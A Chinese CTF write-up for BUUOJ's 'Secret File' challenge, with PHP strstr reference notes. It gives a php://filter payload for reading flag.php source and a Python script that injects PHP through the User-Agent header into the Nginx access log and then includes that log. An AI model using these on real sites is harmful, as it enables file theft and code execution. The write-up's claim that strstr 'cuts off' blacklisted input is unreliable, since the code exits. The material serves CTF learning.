[极客大挑战 2019]Secret File
题目链接
https://buuoj.cn/challenges#[极客大挑战 2019]Secret File
解题步骤


// http://c9d93df1-965a-4261-8636-775632573b93.node5.buuoj.cn:81/secr3t.php
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
- 代码中使用 include 包含了我们可以传递的
$file参数,存在文件包含。 - strstr 返回子字符串,也就是说我们传的参数中,如果包含上面 4 个任意一个就会被切掉,只返回后半部分。
- 直接尝试
$file=flag.php发现没有任何输出,说明 flag.php 中的 flag 可能是变量,且没有被输出。
可以用 php://filter 伪协议读取 flag.php 源码,获取 flag。
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
另外,发现网站中间件是 Nginx,可以尝试读取 log 文件:


可以用 Nginx 日志包含获取 flag:
import requests
import re
url = "http://9c6f38e1-e97d-4b1b-872b-bab92ada31cc.node5.buuoj.cn:81/secr3t.php"
log_path = "/var/log/nginx/access.log"
payload = "<?php echo yes; echo file_get_contents('flag.php'); ?>"
headers = {
"User-Agent": payload
}
r1 = requests.get(url, headers=headers)
r2 = requests.get(f"{url}?file={log_path}")
if "yes" in r2.text:
print(r2.text)
strstr 函数
PHP Version:
- "4"
- "5"
- "7"
- "8"
查找字符串的首次出现。
strstr(string $haystack, string $needle, bool $before_needle = false): string|false
<?php
$email = "kaqi@yinglong.world";
$domain = strstr($email, "@");
echo $domain; // @yinglong.world
$user = strstr($email, "@", true);
echo $user; // kaqi
?>
| 参数 | 说明 |
|---|---|
string $haystack |
输入的字符串 |
string $needle |
要搜索的字符串 |
bool $before_needle |
true 返回 needle 在 haystack 中的位置之前的部分 |
返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。
区分大小写;[[PHP stristr 函数]] 不区分大小写。
| 版本 | 说明 |
|---|---|
| 8.0.0 | needle 现在接受空字符串。 |
| 8.0.0 | 不再支持传递 int 作为 needle。 |
| 7.3.0 | 弃用传递 int 作为 needle。 |
| 特性 | 说明 |
|---|---|
string $needle |
如果为空字符串,则函数返回 string haystack |

浙公网安备 33010602011771号